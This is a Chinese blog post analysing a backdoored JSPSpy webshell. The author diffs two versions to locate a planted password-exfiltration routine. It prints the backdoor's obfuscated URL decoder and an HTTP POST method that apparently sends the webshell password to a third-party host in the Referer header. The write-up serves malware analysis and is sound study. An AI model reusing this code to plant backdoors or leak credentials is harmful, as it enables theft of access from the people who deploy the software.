千家信息网

如何查看webshell的后门

发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,这篇文章主要介绍了如何查看webshell的后门,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。follow me我们咋一看这不就是js
千家信息网最后更新 2025年12月02日如何查看webshell的后门

这篇文章主要介绍了如何查看webshell的后门,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

follow me

我们咋一看这不就是jspspy嘛



年轻人不要急我们先把整个项目download下来然后再好好分析看看通过文件大小比较x7.jsp和下面的xia.jsp发现x7.jsp比xia.jsp多了2kb已知xia.jsp也是一个版本的jspspy。



但是当我们分别打开x7.jsp和xia.jsp时试图想找到是哪里多出来2kb时发现有点不切实际作为一个java的初学者我们似乎并没有那么大的本事去通读jspspy的各个功能模块的代码。于是乎我们可以通过windows自带的命令去进行文本内容比较(emmmm,类似于linux下的diff命令)


利用管道符号将两个jsp不同的地方重定向输出至txt文档中。



打开txt我们便开始分析很突然就发现有一个问题如下图

请注意txt文档的23行的代码x7.jsp中又定义了一个变量sxm值就是PW的值。



那我们开始着重分析一下x7.jsp中新定义的这个sxm变量是拿来干什么的吧。

接着用编辑器直接ctrl+f在当前文件中查找sxm



直接转向854行

发现有三个新的方法(就是C语言里面的函数)分别是uc()、dx()和FileLocalUpload()依次去定位查看这三个方法的代码块。

FileLocalUpload()方法

public static String FileLocalUpload(String reqUrl,String fckal,String recvEncoding) {        HttpURLConnection url_con = null;        String responseContent = null;        try {                URL url = new URL(reqUrl);                url_con = (HttpURLConnection) url.openConnection();                url_con.setRequestMethod("POST");                  url_con.setRequestProperty("REFERER", ""+fckal+"");                System.setProperty("sun.net.client.defaultConnectTimeout", String.valueOf(connectTimeOut));                System.setProperty("sun.net.client.defaultReadTimeout", String.valueOf(readTimeOut));                 url_con.setDoOutput(true);                url_con.getOutputStream().flush();                url_con.getOutputStream().close();                InputStream in = url_con.getInputStream();                BufferedReader rd = new BufferedReader(new InputStreamReader(in,recvEncoding));                String tempLine = rd.readLine();                StringBuffer tempStr = new StringBuffer();                String crlf=System.getProperty("line.separator");                while (tempLine != null) {                        tempStr.append(tempLine);                        tempStr.append(crlf);                        tempLine = rd.readLine();                }        responseContent = tempStr.toString();        rd.close();        in.close();        }        catch (IOException e) {        }        finally {                if (url_con != null) {                        url_con.disconnect();                }        }        return responseContent;}

dx()方法

public static String SysInfo="=?./..//:";public static String dx() {        String s = new String();        for (int i = SysInfo.length() - 1; i >= 0; i--) {                s += SysInfo.charAt(i);        }        return s;}

uc()方法

public static String uc(String str) {        String c="\n\r"; long d=127,  f=11, j=12, h=14,  m=31, r=83, k=1, n=8,  s=114, u=-5, v=5,a=0;        StringBuffer sb = new StringBuffer();        char[] ch = str.toCharArray();          for (int i = 0; i < ch.length; i++) {                a = (int)ch[i];                if(a==d) a=13;                 if(a==f) a=10;                 if(a==j) a=34;                 if((a>=h) && (a<=m)) a=a+r;                 if((a>=k) && (a<=n)) a=a+s;                 if((a>=53) && (a<=57)) a=a+u;                 if((a>=48) && (a<=52)) a=a+v;                  sb.append((char)a);        }        return sb.toString();}

怎么办看不懂啊。

不要慌~~ 看不懂不要紧我们可以直接把方法拿过来再处理一次只不过我不用FileLocalUpload()方法去处理我直接把sxm变量和uc()、dx()执行之后print输出就行。所以自己写写代码

import java.io.*;import java.util.*; class x7 {        public static void main(String[] args) {                String PW = "ttttt";                String sxm=PW;                                 System.out.println(uc(dx())+sxm);        }         public static String dx() {                String s = new String();                String SysInfo="=?./..//:";                for (int i = SysInfo.length() - 1; i >= 0; i--) {                        s += SysInfo.charAt(i);                }                return s;        }         public static String uc(String str) {                String c="\n\r"; long d=127,  f=11, j=12, h=14,  m=31, r=83, k=1, n=8,  s=114, u=-5, v=5,a=0;                StringBuffer sb = new StringBuffer();                char[] ch = str.toCharArray();                 for (int i = 0; i < ch.length; i++) {                        a = (int)ch[i];                        if(a==d) a=13;                         if(a==f) a=10;                         if(a==j) a=34;                         if((a>=h) && (a<=m)) a=a+r;                         if((a>=k) && (a<=n)) a=a+s;                         if((a>=53) && (a<=57)) a=a+u;                         if((a>=48) && (a<=52)) a=a+v;                          sb.append((char)a);                }                return sb.toString();        }}

写完调试一下然后javac编译一下发现不报错就行。


接着执行一次看看



感谢你能够认真阅读完这篇文章,希望小编分享的"如何查看webshell的后门"这篇文章对大家有帮助,同时也希望大家多多支持,关注行业资讯频道,更多相关知识等着你来学习!

方法 代码 篇文章 变量 就是 分析 后门 三个 命令 文件 文档 处理 输出 不同 年轻 不切实际 不要紧 这不 不用 两个 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 数据库怎么查时间戳 数据库的备份恢复同步 吉林红色文化馆软件开发 我的世界服务器用什么加速器好 阿里巴巴集团网络安全岗位 Python和数据库怎么连接的 谷歌地球连不上服务器视频 重庆酉阳生鲜类的软件开发 湖北软件开发培训 网络安全培训学校的收费 索尼zv1修复数据库文件 企业都有一个网络安全的部门吗 立体仓库三菱数据库 网络技术对接 普宁市青少年网络安全宣传 顺德科技软件开发公司 win7网络安全模式711 泸州亿联网络技术服务有限公司 超融合服务器 api 汕头汽车软件开发 表数据存入数据库php 杭州物联网智慧园区软件开发 数据库四大服务 计算机网络技术专业从业要求 超融合服务器什么用 基于人工智能的网络安全技术 软件开发需要从哪里开始学起 网络服务器不行怎么办 常见的软件开发模型又瀑布型 长沙定制冷库软件开发
0